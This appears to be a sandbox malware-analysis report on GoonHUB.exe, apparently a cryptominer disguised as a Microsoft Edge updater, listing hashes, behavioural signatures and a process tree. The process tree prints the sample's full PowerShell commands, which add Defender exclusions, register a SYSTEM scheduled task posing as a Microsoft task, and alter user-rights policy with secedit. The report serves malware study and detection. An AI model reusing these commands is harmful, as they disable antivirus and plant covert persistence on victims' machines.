Analysis
- max time kernel
151s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/08/2026, 18:10
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
GoonHUB.exe
Resource
win10v2004-20260513-en
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
GoonHUB.exe
Resource
win11ltsc2024-20260709-en
9 signatures
150 seconds
General
- Target GoonHUB.exe
- Size 27.0MB
- Sample260801-wsf2faeg26
- SHA256 d26e929339b80f1b00775958443377007c40071e7dbc18b39e255f412548adff
- MD5 da97b4c0527a1120b068b0947e0939b7
- SHA1 bda3933c76a14e821798991902cc8d9b030e0aa8
- SHA512 bdeffc57ca8d312cab576b763f29681ecbcac3fedb787889aaca317fe80f4b81fd1ff33cb97447b8018037af98cd9c520c0ec0e920c4b8b64829ab0b5d76b996
- SSDEEP 196608:o5wsHb2nGy7ptRxxQ+Wmlz7MOGjSsOspTLqTPRpJwpDXFrzU:zs76GyFQO17+jnOUSzJI7+
- TLSH T127572522620C751590A3BA3C9E3341D377BCEE45DEB4CAE5B9CAF90BDA5B34215B0364
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3480 powershell.exe 5064 powershell.exe 3480 powershell.exe 5064 powershell.exe 4244 powershell.exe 264 powershell.exe - Executes dropped EXE 3 IoCs
pid Process 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 4324 MicrosoftEdgeUpdate.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4504 cmd.exe - Kills process with taskkill 1 IoCs
pid Process 548 taskkill.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3480 powershell.exe 3480 powershell.exe 5064 powershell.exe 5064 powershell.exe 4704 GoonHUB.exe 4704 GoonHUB.exe 4244 powershell.exe 4244 powershell.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 264 powershell.exe 264 powershell.exe 264 powershell.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 244 MicrosoftEdgeUpdate.exe 248 MicrosoftEdgeUpdate.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 244 MicrosoftEdgeUpdate.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3480 powershell.exe Token: SeIncreaseQuotaPrivilege 3480 powershell.exe Token: SeSecurityPrivilege 3480 powershell.exe Token: SeTakeOwnershipPrivilege 3480 powershell.exe Token: SeLoadDriverPrivilege 3480 powershell.exe Token: SeSystemProfilePrivilege 3480 powershell.exe Token: SeSystemtimePrivilege 3480 powershell.exe Token: SeProfSingleProcessPrivilege 3480 powershell.exe Token: SeIncBasePriorityPrivilege 3480 powershell.exe Token: SeCreatePagefilePrivilege 3480 powershell.exe Token: SeBackupPrivilege 3480 powershell.exe Token: SeRestorePrivilege 3480 powershell.exe Token: SeShutdownPrivilege 3480 powershell.exe Token: SeDebugPrivilege 3480 powershell.exe Token: SeSystemEnvironmentPrivilege 3480 powershell.exe Token: SeRemoteShutdownPrivilege 3480 powershell.exe Token: SeUndockPrivilege 3480 powershell.exe Token: SeManageVolumePrivilege 3480 powershell.exe Token: 33 3480 powershell.exe Token: 34 3480 powershell.exe Token: 35 3480 powershell.exe Token: 36 3480 powershell.exe Token: SeDebugPrivilege 5064 powershell.exe Token: SeIncreaseQuotaPrivilege 5064 powershell.exe Token: SeSecurityPrivilege 5064 powershell.exe Token: SeTakeOwnershipPrivilege 5064 powershell.exe Token: SeLoadDriverPrivilege 5064 powershell.exe Token: SeSystemProfilePrivilege 5064 powershell.exe Token: SeSystemtimePrivilege 5064 powershell.exe Token: SeProfSingleProcessPrivilege 5064 powershell.exe Token: SeIncBasePriorityPrivilege 5064 powershell.exe Token: SeCreatePagefilePrivilege 5064 powershell.exe Token: SeBackupPrivilege 5064 powershell.exe Token: SeRestorePrivilege 5064 powershell.exe Token: SeShutdownPrivilege 5064 powershell.exe Token: SeDebugPrivilege 5064 powershell.exe Token: SeSystemEnvironmentPrivilege 5064 powershell.exe Token: SeRemoteShutdownPrivilege 5064 powershell.exe Token: SeUndockPrivilege 5064 powershell.exe Token: SeManageVolumePrivilege 5064 powershell.exe Token: 33 5064 powershell.exe Token: 34 5064 powershell.exe Token: 35 5064 powershell.exe Token: 36 5064 powershell.exe Token: SeDebugPrivilege 548 taskkill.exe Token: SeDebugPrivilege 4244 powershell.exe Token: SeIncreaseQuotaPrivilege 4244 powershell.exe Token: SeSecurityPrivilege 4244 powershell.exe Token: SeTakeOwnershipPrivilege 4244 powershell.exe Token: SeLoadDriverPrivilege 4244 powershell.exe Token: SeSystemProfilePrivilege 4244 powershell.exe Token: SeSystemtimePrivilege 4244 powershell.exe Token: SeProfSingleProcessPrivilege 4244 powershell.exe Token: SeIncBasePriorityPrivilege 4244 powershell.exe Token: SeCreatePagefilePrivilege 4244 powershell.exe Token: SeBackupPrivilege 4244 powershell.exe Token: SeRestorePrivilege 4244 powershell.exe Token: SeShutdownPrivilege 4244 powershell.exe Token: SeDebugPrivilege 4244 powershell.exe Token: SeSystemEnvironmentPrivilege 4244 powershell.exe Token: SeRemoteShutdownPrivilege 4244 powershell.exe Token: SeUndockPrivilege 4244 powershell.exe Token: SeManageVolumePrivilege 4244 powershell.exe Token: 33 4244 powershell.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4704 wrote to memory of 3480 4704 GoonHUB.exe 90 PID 4704 wrote to memory of 5064 4704 GoonHUB.exe 93 PID 4704 wrote to memory of 5472 4704 GoonHUB.exe 95 PID 4704 wrote to memory of 4504 4704 GoonHUB.exe 97 PID 4504 wrote to memory of 548 4504 cmd.exe 99 PID 4704 wrote to memory of 4244 4704 GoonHUB.exe 101 PID 4704 wrote to memory of 4372 4704 GoonHUB.exe 103 PID 4704 wrote to memory of 244 4704 GoonHUB.exe 105 PID 4704 wrote to memory of 264 4704 GoonHUB.exe 107 PID 264 wrote to memory of 6744 264 powershell.exe 109 PID 264 wrote to memory of 4900 264 powershell.exe 110 PID 248 wrote to memory of 4324 248 MicrosoftEdgeUpdate.exe 111 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3480
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5064
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C:\Windows\SYSTEM32\schtasks.exeschtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"2⤵PID:5472
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C:\Windows\SYSTEM32\cmd.execmd.exe /c taskkill /f /t /im microsoftedgeupdate.exe2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4504 -
C:\Windows\system32\taskkill.exetaskkill /f /t /im microsoftedgeupdate.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:548
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4244
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C:\Windows\SYSTEM32\schtasks.exeschtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"2⤵PID:4372
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C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
PID:244
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:264 -
C:\Windows\system32\SecEdit.exe"C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet3⤵PID:6744
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C:\Windows\system32\SecEdit.exe"C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet3⤵PID:4900
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C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --watcher1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:248 -
C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine2⤵
- Executes dropped EXE
PID:4324
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Network
MITRE ATT&CK Enterprise v16
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Downloads
- Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
- Size 27.0MB
- SHA256 d26e929339b80f1b00775958443377007c40071e7dbc18b39e255f412548adff
- MD5 da97b4c0527a1120b068b0947e0939b7
- SHA1 bda3933c76a14e821798991902cc8d9b030e0aa8
- SHA512 bdeffc57ca8d312cab576b763f29681ecbcac3fedb787889aaca317fe80f4b81fd1ff33cb97447b8018037af98cd9c520c0ec0e920c4b8b64829ab0b5d76b996
- SSDEEP 196608:o5wsHb2nGy7ptRxxQ+Wmlz7MOGjSsOspTLqTPRpJwpDXFrzU:zs76GyFQO17+jnOUSzJI7+
- TLSH T127572522620C751590A3BA3C9E3341D377BCEE45DEB4CAE5B9CAF90BDA5B34215B0364
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
- MD5 acbc65123954839a819fa2495d239bf7
- SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
- SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
- TLSH T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3b8d81e755972d0b47d8ee2cf37e173b9a84dab83f69f47ee897a7db3500370d
- MD5 f0792e9efc583422a5eb5c0b4c8f391a
- SHA1 1c0bfc9787a6d528731dbb3a2c4a2d9ee29c555d
- SHA512 177ced994988d1bb38d321ebe94e21f0dcd1e359089909567e4ab2b3619a96d8107f017ca2ae578cf0a79257ae72cdd0ac8e0a748fafa7ac1478ad439991a57d
- TLSH T159216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 164b258e63ef106125faadc66ff629c318b55f5f1791636095d5d77f4501169a
- MD5 97f79bc9e094fe87c11e864021c0a02c
- SHA1 16c7e9b61b5ef53b938220cfe4499c1830b28f3e
- SHA512 440241f28a10e1a76319a6f04d6622b9c63d53a1a9274def36865e8710105132a6076c8ed44e9ef231c9411bc3f02aeac7cff1989b60af516eb1c687f1a60591
- TLSH T109216837B3DD8614C89A413A10CDAD1036B6CBDB40DECE5B6B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2mrhvahb.v5w.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\sce54972.tmp
- Size 16KB
- SHA256 aa46df7fef63b27ef2b44d160f40de53f7012ac920e1d5d7405b44ab17acdc11
- MD5 cdfef74def06df8ce397c9ae6890e656
- SHA1 8ed68b9094f1ff8f4a0cdb4e215ac40b4861e137
- SHA512 f77fd7781361a4794f9ea7fa8dc49b1b66dffb15273487291b86abc51a93e5e2447c5230314c92461b29c9a326e7841dff0a2afee89415af6230e854f292f75e
- SSDEEP 96:rprc6mOr9+gkz2TNGUfSVj1OuScDcWcocGcvcecjcHc/cLcscAcqcsc9TVc7c7cT:hc9Brzx/1Ou3TMTG9XkOxZWbn
- TLSH T15D72E30187F90809F3F71F96AE7998698633FDB20D19CE5C01A9418E18B6E11CE31B7B
- MD5 SHA1 SHA512 SSDEEP TLSH